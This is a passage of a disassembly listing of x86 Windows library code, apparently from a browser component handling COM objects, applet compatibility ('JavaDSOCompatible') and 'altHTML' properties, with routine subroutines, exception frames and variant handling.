		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B777AB:				; CODE XREF: sub_69B7771C+20j
		call	sub_69B1853C
		retn	8
sub_69B7771C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B777B8	dd 0FFFFFFFFh			dd offset loc_69B77772
		dd offset loc_69B7777B

; =============== S U B	R O U T	I N E =======================================



sub_69B777C4	proc near		; DATA XREF: .text:69B143D4o
		push	28h
		push	offset dword_69B77860
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B777E4
		mov	eax, 80004005h
		jmp	short loc_69B77855
; ---------------------------------------------------------------------------


loc_69B777E4:				; CODE XREF: sub_69B777C4+17j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+18h]
		mov	[ebp-2Ch], eax
		mov	eax, [eax+28h]
		mov	[ebp-30h], eax
		mov	eax, [eax+40h]
		mov	[ebp-34h], eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		and	dword ptr [ebp-38h], 0
		jmp	short loc_69B7783D
; ---------------------------------------------------------------------------


loc_69B7781C:				; DATA XREF: .text:69B77864o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B77825:				; DATA XREF: .text:69B77868o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax


loc_69B7783D:				; CODE XREF: sub_69B777C4+56j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B77855:				; CODE XREF: sub_69B777C4+1Ej
		call	sub_69B1853C
		retn	8
sub_69B777C4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B77860	dd 0FFFFFFFFh			dd offset loc_69B7781C
		dd offset loc_69B77825

; =============== S U B	R O U T	I N E =======================================



sub_69B7786C	proc near		; CODE XREF: sub_69B77918+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B9A98C
		push	off_69B9A990
		lea	ecx, [esi+0Ch]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7786C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7788E	proc near		; DATA XREF: .text:69B2202Co
		sub	ecx, 24h
		jmp	sub_69B77494
sub_69B7788E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77896	proc near		; DATA XREF: .text:69B21FE4o
		sub	ecx, 28h
		jmp	sub_69B77494
sub_69B77896	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7789E	proc near		; DATA XREF: .text:69B21FA4o
		sub	ecx, 2Ch
		jmp	sub_69B77494
sub_69B7789E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B778A6	proc near		; CODE XREF: sub_69B3D0C6+1Ap
		push	0F8h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B778BB
		mov	ecx, eax
		jmp	sub_69B21F28
; ---------------------------------------------------------------------------


loc_69B778BB:				; CODE XREF: sub_69B778A6+Cj
		xor	eax, eax
		retn
sub_69B778A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B778BE	proc near		; CODE XREF: sub_69B7747C+3j
					; .text:69B77487j ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B778D9
		test	[esp+4+arg_0], 1
		jz	short loc_69B778D3
		push	esi
		call	sub_69B1829F


loc_69B778D3:				; CODE XREF: sub_69B778BE+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B778BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B778D9	proc near		; CODE XREF: sub_69B778BE+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0F4h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0F0h]
		push	eax
		call	sub_69B2DEDD
		mov	ecx, esi
		pop	esi
		jmp	sub_69B3F305
sub_69B778D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B778FC	proc near		; CODE XREF: sub_69B78DF4+2Ap

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+0F4h]
		push	dword ptr [esi]
		call	sub_69B774BB
		push	[esp+4+arg_0]
		push	esi
		call	sub_69B17320
		pop	esi
		retn	4
sub_69B778FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77918	proc near		; CODE XREF: .text:69B77A1Dp
					; .text:69B7824Ap ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B7786C
		mov	dword ptr [esi], offset	off_69B143A8
		mov	dword ptr [esi+4], offset off_69B2A5B8
		mov	dword ptr [esi+0Ch], offset off_69B2A544
		mov	eax, esi
		pop	esi
		retn	4
sub_69B77918	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7793E	proc near		; CODE XREF: .text:69B3BB77j
					; .text:69B3BB95j ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 0Ch
		call	sub_69B19038
		retn	4
sub_69B7793E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7794D	proc near		; CODE XREF: sub_69B5A135+5j
					; sub_69B74690+41p
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_10]
		add	eax, 4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_69B2D237
		pop	ebp
		retn	18h
sub_69B7794D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7796F	proc near		; DATA XREF: .text:off_69B2A5B8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B7D61C
sub_69B7796F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77979	proc near		; DATA XREF: .text:off_69B2A544o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B77998
		test	[esp+4+arg_0], 1
		jz	short loc_69B77991
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B77991:				; CODE XREF: sub_69B77979+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B77979	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77998	proc near		; CODE XREF: sub_69B77979+3p
		mov	eax, ecx
		lea	ecx, [eax-0Ch]
		neg	ecx
		sbb	ecx, ecx
		mov	dword ptr [eax-0Ch], offset off_69B143A8
		mov	dword ptr [eax-8], offset off_69B2A5B8
		mov	dword ptr [eax], offset	off_69B2A544
		and	ecx, eax
		jmp	loc_69B88066
sub_69B77998	endp

; ---------------------------------------------------------------------------


loc_69B779BC:				; DATA XREF: .text:69B1C708o
					; .text:69B1C718o ...
		push	34h
		push	offset dword_69B77AB8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B779DF
		mov	eax, 80004005h
		jmp	loc_69B77AAD
; ---------------------------------------------------------------------------


loc_69B779DF:				; CODE XREF: .text:69B779D3j
		push	1
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		push	44h
		call	sub_69B17EF3
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		test	ecx, ecx
		jz	short loc_69B77A05
		call	sub_69B78994
		jmp	short loc_69B77A07
; ---------------------------------------------------------------------------


loc_69B77A05:				; CODE XREF: .text:69B779FCj
		xor	eax, eax


loc_69B77A07:				; CODE XREF: .text:69B77A03j
		mov	[ebp-30h], eax
		push	1Ch
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-34h], ecx
		test	ecx, ecx
		jz	short loc_69B77A24
		push	dword ptr [ebp-30h]
		call	sub_69B77918
		jmp	short loc_69B77A26
; ---------------------------------------------------------------------------


loc_69B77A24:				; CODE XREF: .text:69B77A18j
		xor	eax, eax


loc_69B77A26:				; CODE XREF: .text:69B77A22j
		mov	esi, eax
		mov	[ebp-38h], esi
		push	0F8h
		call	sub_69B17EF3
		mov	ecx, eax
		mov	[ebp-3Ch], ecx
		test	ecx, ecx
		jz	short loc_69B77A45
		call	sub_69B21F28
		jmp	short loc_69B77A47
; ---------------------------------------------------------------------------


loc_69B77A45:				; CODE XREF: .text:69B77A3Cj
		xor	eax, eax


loc_69B77A47:				; CODE XREF: .text:69B77A43j
		mov	[ebp-40h], eax
		push	1
		mov	ecx, eax
		call	sub_69B1D6A4
		push	dword ptr [ebp-40h]
		mov	ecx, [ebp-30h]
		call	sub_69B78DF4
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-44h], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B77A95
; ---------------------------------------------------------------------------


loc_69B77A74:				; DATA XREF: .text:69B77ABCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B77A7D:				; DATA XREF: .text:69B77AC0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-44h], eax


loc_69B77A95:				; CODE XREF: .text:69B77A72j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-44h]


loc_69B77AAD:				; CODE XREF: .text:69B779DAj
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 4
dword_69B77AB8	dd 0FFFFFFFFh			dd offset loc_69B77A74
		dd offset loc_69B77A7D

; =============== S U B	R O U T	I N E =======================================



sub_69B77AC4	proc near		; CODE XREF: sub_69B784F7+34p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 0
		jz	short loc_69B77ADF
		dec	eax
		jz	short loc_69B77AD9
		dec	eax
		jnz	short locret_69B77AE3
		or	dword ptr [ecx+10h], 8
		jmp	short locret_69B77AE3
; ---------------------------------------------------------------------------


loc_69B77AD9:				; CODE XREF: sub_69B77AC4+Aj
		or	dword ptr [ecx+10h], 1
		jmp	short locret_69B77AE3
; ---------------------------------------------------------------------------


loc_69B77ADF:				; CODE XREF: sub_69B77AC4+7j
		or	dword ptr [ecx+10h], 2

locret_69B77AE3:			; CODE XREF: sub_69B77AC4+Dj
					; sub_69B77AC4+13j ...
		retn	4
sub_69B77AC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77AE6	proc near		; CODE XREF: .text:69B788C8j
					; DATA XREF: .text:69B14438o
		mov	eax, offset off_69B77AEC
		retn
sub_69B77AE6	endp

; ---------------------------------------------------------------------------
off_69B77AEC	dd offset off_69B2B19C	; DATA XREF: sub_69B77AE6o
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B77AF4	proc near		; CODE XREF: sub_69B5D45C+15Cp

pvargDest	= VARIANTARG ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_69B77B4E
		lea	eax, [ebp+pvargDest]
		push	eax		; pvarg
		push	offset aJavadsocompati ; "JavaDSOCompatible"
		call	sub_69B1D494
		push	eax		; int
		push	[ebp+arg_0]	; int
		call	sub_69B5EA21
		test	eax, eax
		jl	short loc_69B77B44
		push	0Bh		; vt
		push	0		; wFlags
		push	0		; lcid
		lea	eax, [ebp+pvargDest]
		push	eax		; pvarSrc
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jl	short loc_69B77B44
		cmp	word ptr [ebp+pvargDest.anonymous_0+8],	0
		setnz	al
		xor	eax, [esi+40h]
		and	eax, 1
		xor	[esi+40h], eax


loc_69B77B44:				; CODE XREF: sub_69B77AF4+28j
					; sub_69B77AF4+3Dj
		lea	eax, [ebp+pvargDest]
		push	eax		; pvarg
		call	VariantClear


loc_69B77B4E:				; CODE XREF: sub_69B77AF4+Dj
		pop	esi
		leave
		retn	4
sub_69B77AF4	endp

; ---------------------------------------------------------------------------
		align 4
; char aJavadsocompati[]
aJavadsocompati	db 'JavaDSOCompatible',0 ; DATA XREF: sub_69B77AF4+13o
; ---------------------------------------------------------------------------


loc_69B77B66:				; DATA XREF: .text:off_69B789F4o
		mov	edx, [esp+0Ch]
		push	ebx
		xor	ebx, ebx
		test	edx, edx
		jnz	short loc_69B77B78
		mov	ebx, 80070057h
		jmp	short loc_69B77BB3
; ---------------------------------------------------------------------------


loc_69B77B78:				; CODE XREF: .text:69B77B6Fj
		push	esi
		mov	esi, [esp+10h]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B77BA5
		mov	esi, [esp+14h]
		push	4
		pop	ecx
		mov	edi, offset dword_69B77BBC
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B77BA5
		mov	ebx, 80004002h
		jmp	short loc_69B77BB1
; ---------------------------------------------------------------------------


loc_69B77BA5:				; CODE XREF: .text:69B77B8Aj
					; .text:69B77B9Cj
		mov	eax, [esp+10h]
		mov	[edx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B77BB1:				; CODE XREF: .text:69B77BA3j
		pop	edi
		pop	esi


loc_69B77BB3:				; CODE XREF: .text:69B77B76j
		mov	eax, ebx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
dword_69B77BBC	dd 53BE4F42h, 11D23602h, 1B80h,	0DF6C7AF8h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B77BCC	proc near		; CODE XREF: sub_69B787C4+Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx+0Ch]
		test	eax, eax
		jz	short locret_69B77BFA
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_69B8A0E9
		mov	eax, [ebp+var_8]
		jmp	short loc_69B77BF5
; ---------------------------------------------------------------------------


loc_69B77BE6:				; CODE XREF: sub_69B77BCC+2Cj
		mov	eax, [eax]
		and	dword ptr [eax+10h], 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_69B77BF5:				; CODE XREF: sub_69B77BCC+18j
		cmp	eax, [ebp+var_4]
		jb	short loc_69B77BE6

locret_69B77BFA:			; CODE XREF: sub_69B77BCC+Aj
		leave
		retn
sub_69B77BCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77BFC	proc near		; DATA XREF: .text:off_69B2A550o
		push	2Ch
		push	offset dword_69B77D38
		call	sub_69B19C5C
		mov	ebx, ecx
		mov	esi, [ebp+8]
		push	esi
		call	sub_69B89EAF
		mov	eax, [ebx+1Ch]
		xor	edi, edi
		cmp	eax, edi
		jz	loc_69B77D1F
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		lea	eax, [ebp-34h]
		push	eax		; pvarg
		call	VariantInit
		cmp	esi, edi
		jz	short loc_69B77C4F
		push	offset aAlthtml	; "altHTML"
		call	SysAllocString
		mov	[ebp-38h], eax
		jmp	short loc_69B77C52
; ---------------------------------------------------------------------------


loc_69B77C4F:				; CODE XREF: sub_69B77BFC+41j
		mov	[ebp-38h], edi


loc_69B77C52:				; CODE XREF: sub_69B77BFC+51j
		cmp	esi, edi
		jz	loc_69B77CE5
		cmp	[ebp-38h], edi
		jz	loc_69B77CE5
		mov	eax, [esi]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	offset loc_69B77D44
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B77CE5
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-20h]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jl	short loc_69B77CE5
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jz	short loc_69B77CE5
		mov	ecx, [eax]
		lea	edx, [ebp-24h]
		push	edx
		push	offset dword_69B2B0A0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B77CE5
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		lea	edx, [ebp-34h]
		push	edx
		push	edi
		push	dword ptr [ebp-38h]
		push	eax
		call	dword ptr [ecx+20h]
		test	eax, eax
		jl	short loc_69B77CE5
		mov	[ebp-4], edi
		mov	esi, [ebx+1Ch]
		mov	[ebp-3Ch], esi
		push	dword ptr [ebp-2Ch] ; lpString
		call	sub_69B1A587
		push	eax
		mov	ecx, esi
		call	sub_69B3F10D
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B77CE5
; ---------------------------------------------------------------------------


loc_69B77CD3:				; DATA XREF: .text:69B77D3Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B77CDC:				; DATA XREF: .text:69B77D40o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi


loc_69B77CE5:				; CODE XREF: sub_69B77BFC+58j
					; sub_69B77BFC+61j ...
		push	dword ptr [ebp-38h] ; BSTR
		call	SysFreeString
		lea	eax, [ebp-34h]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp-24h]
		cmp	eax, edi
		jz	short loc_69B77D05
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B77D05:				; CODE XREF: sub_69B77BFC+101j
		mov	eax, [ebp-20h]
		cmp	eax, edi
		jz	short loc_69B77D12
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B77D12:				; CODE XREF: sub_69B77BFC+10Ej
		mov	eax, [ebp-1Ch]
		cmp	eax, edi
		jz	short loc_69B77D1F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B77D1F:				; CODE XREF: sub_69B77BFC+1Ej
					; sub_69B77BFC+11Bj
		call	sub_69B1853C
		retn	4
sub_69B77BFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; OLECHAR aAlthtml
aAlthtml:				; DATA XREF: sub_69B77BFC+43o
		unicode	0, <altHTML>,0
dword_69B77D38	dd 0FFFFFFFFh			dd offset loc_69B77CD3
		dd offset loc_69B77CDC
; ---------------------------------------------------------------------------


loc_69B77D44:				; DATA XREF: sub_69B77BFC+6Do
		mov	[edx-454B4E6Ah], esi
		sbb	dl, [eax]
		mov	dh, 9Ch
		add	[edx+71D3400h],	ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B77D54	proc near		; DATA XREF: .text:69B2A554o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B88F7D
		mov	eax, [esi+1Ch]
		test	eax, eax
		pop	esi
		jz	short loc_69B77D79
		lea	ecx, [eax+0Ch]
		mov	eax, [ecx]
		pop	ebp
		jmp	dword ptr [eax+4]
; ---------------------------------------------------------------------------


loc_69B77D79:				; CODE XREF: sub_69B77D54+1Aj
		pop	ebp
		retn	0Ch
sub_69B77D54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77D7D	proc near		; CODE XREF: sub_69B1694C+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset dword_69B2A558
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B77D7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77D97	proc near		; CODE XREF: sub_69B1699C+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset dword_69B2B140
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B77D97	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B77DB1	proc near		; CODE XREF: sub_69B784F7+25p

arg_4		= dword	ptr  8

		push	esi
		lea	esi, [ecx+0Ch]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B77DC6
		call	sub_69B1D7F6
		push	eax
		push	esi
		call	sub_69B17320


loc_69B77DC6:				; CODE XREF: sub_69B77DB1+7j
		push	[esp+4+arg_4]
		mov	ecx, [esi]
		call	sub_69B8A35C
		pop	esi
		retn	8
sub_69B77DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B77DD5	proc near		; CODE XREF: sub_69B784F7+Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx+0Ch]
		push	esi
		xor	esi, esi
		test	eax, eax
		jz	short loc_69B77E0E
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_69B8A0E9
		mov	ecx, [ebp+var_8]
		jmp	short loc_69B77E05
; ---------------------------------------------------------------------------


loc_69B77DF2:				; CODE XREF: sub_69B77DD5+33j
		mov	eax, [ecx]
		mov	edx, [eax+8]
		mov	edx, [edx+8]
		cmp	edx, [ebp+arg_0]
		jz	short loc_69B77E0C
		add	ecx, 4
		mov	[ebp+var_8], ecx


loc_69B77E05:				; CODE XREF: sub_69B77DD5+1Bj
		cmp	ecx, [ebp+var_4]
		jb	short loc_69B77DF2
		jmp	short loc_69B77E0E
; ---------------------------------------------------------------------------


loc_69B77E0C:				; CODE XREF: sub_69B77DD5+28j
		mov	esi, eax


loc_69B77E0E:				; CODE XREF: sub_69B77DD5+Dj
					; sub_69B77DD5+35j
		mov	eax, esi
		pop	esi
		leave
		retn	4
sub_69B77DD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B77E15	proc near		; CODE XREF: sub_69B77E15+172p
					; sub_69B77E15+1D6p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, ecx
		mov	eax, [edi+8]
		mov	[ebp+var_8], eax
		mov	eax, [esi+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [edi+10h]
		mov	ecx, eax
		shr	ecx, 1
		xor	ebx, ebx
		test	cl, 1
		jz	short loc_69B77E5E
		mov	cl, al
		and	cl, 1
		cmp	byte ptr [ebp+arg_4], cl
		jnz	short loc_69B77E5E
		cmp	[edi+0Ch], ebx
		jnz	loc_69B77F57
		mov	ecx, eax
		shr	ecx, 2
		test	cl, 1
		jnz	loc_69B77F57


loc_69B77E5E:				; CODE XREF: sub_69B77E15+26j
					; sub_69B77E15+30j
		shr	eax, 3
		test	al, 1
		jnz	loc_69B77F57
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 18h
		mov	[ebp+var_1], bl
		mov	[ebp+var_14], eax
		jg	short loc_69B77E7F
		call	sub_69B2E6D8


loc_69B77E7F:				; CODE XREF: sub_69B77E15+63j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+6Ch]


loc_69B77E85:				; CODE XREF: sub_69B77E15+15Fj
		mov	ecx, [ebp+var_10]
		mov	esi, [esi+8]
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	sub_69B3DA18
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_69B3D2F2
		mov	esi, eax
		or	byte ptr [esi+9], 10h
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_69B77F0F
		mov	eax, [edi+8]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	offset byte_69B78068 ; lpMultiByteStr
		mov	[ebp+arg_4], eax
		call	sub_69B1D494
		push	ebx
		push	[ebp+arg_4]
		push	eax
		call	sub_69B2F2CA
		add	esp, 0Ch
		push	eax
		call	sub_69B1A2EC
		mov	[ebp+var_14], eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Bh
		mov	[ebp+arg_4], eax
		jg	short loc_69B77EEC
		call	sub_69B2E6D8


loc_69B77EEC:				; CODE XREF: sub_69B77E15+D0j
		push	[ebp+var_8]
		mov	ecx, [ebp+arg_4]
		push	dword ptr [ecx+78h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0ACh]
		mov	ecx, [ebp+var_10]
		push	ebx
		push	ebx
		push	[ebp+var_14]
		call	sub_69B3DA18
		mov	[ebp+var_8], eax


loc_69B77F0F:				; CODE XREF: sub_69B77E15+94j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Ah
		mov	[ebp+arg_4], eax
		jg	short loc_69B77F22
		call	sub_69B2E6D8


loc_69B77F22:				; CODE XREF: sub_69B77E15+106j
		push	[ebp+var_8]
		mov	ecx, [ebp+arg_4]
		push	dword ptr [ecx+74h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0ACh]
		cmp	[ebp+var_1], bl
		jz	loc_69B7805E
		mov	edi, [edi+0Ch]
		cmp	edi, ebx
		jz	loc_69B78009
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B8A0E9
		jmp	loc_69B77FFD
; ---------------------------------------------------------------------------


loc_69B77F57:				; CODE XREF: sub_69B77E15+35j
					; sub_69B77E15+43j ...
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 19h
		mov	[ebp+var_1], 1
		mov	[ebp+var_14], eax
		jg	short loc_69B77F6E
		call	sub_69B2E6D8


loc_69B77F6E:				; CODE XREF: sub_69B77E15+152j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+70h]
		jmp	loc_69B77E85
; ---------------------------------------------------------------------------


loc_69B77F79:				; CODE XREF: sub_69B77E15+1EEj
		mov	eax, [ebp+var_C]
		mov	edi, [eax]
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, edi
		mov	[ebp+var_10], edi
		call	sub_69B77E15
		mov	edx, [esi]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[ebp+arg_4], eax
		call	dword ptr [edx+7Ch]
		test	byte ptr [edi+10h], 1
		jz	short loc_69B77FD5
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Ch
		mov	edi, eax
		jg	short loc_69B77FB0
		call	sub_69B2E6D8


loc_69B77FB0:				; CODE XREF: sub_69B77E15+194j
		mov	eax, [edi+7Ch]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		mov	edi, [eax]
		push	offset byte_69B25C44 ; lpMultiByteStr
		call	sub_69B1D494
		mov	ecx, [ebp+arg_4]
		push	eax
		push	[ebp+var_14]
		call	dword ptr [edi+0ACh]
		mov	edi, [ebp+var_10]


loc_69B77FD5:				; CODE XREF: sub_69B77E15+187j
		mov	eax, [edi+10h]
		shr	eax, 1
		test	al, 1
		jz	short loc_69B77FF9
		test	byte ptr [edi+10h], 1
		jz	short loc_69B77FF9
		push	1
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_69B77E15
		mov	edx, [esi]
		push	ebx
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+7Ch]


loc_69B77FF9:				; CODE XREF: sub_69B77E15+1C7j
					; sub_69B77E15+1CDj
		add	[ebp+var_C], 4


loc_69B77FFD:				; CODE XREF: sub_69B77E15+13Dj
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_C], eax
		jb	loc_69B77F79


loc_69B78009:				; CODE XREF: sub_69B77E15+12Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ebx
		push	eax
		call	sub_69B77E15
		mov	edi, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Dh
		mov	[ebp+arg_4], edi
		mov	[ebp+arg_0], eax
		jg	short loc_69B7802E
		call	sub_69B2E6D8


loc_69B7802E:				; CODE XREF: sub_69B77E15+212j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80h]
		mov	edi, [edi]
		push	offset byte_69B25C44 ; lpMultiByteStr
		mov	[ebp+arg_0], eax
		call	sub_69B1D494
		mov	ecx, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr [edi+0ACh]
		mov	eax, [esi]
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, esi
		call	dword ptr [eax+7Ch]


loc_69B7805E:				; CODE XREF: sub_69B77E15+123j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
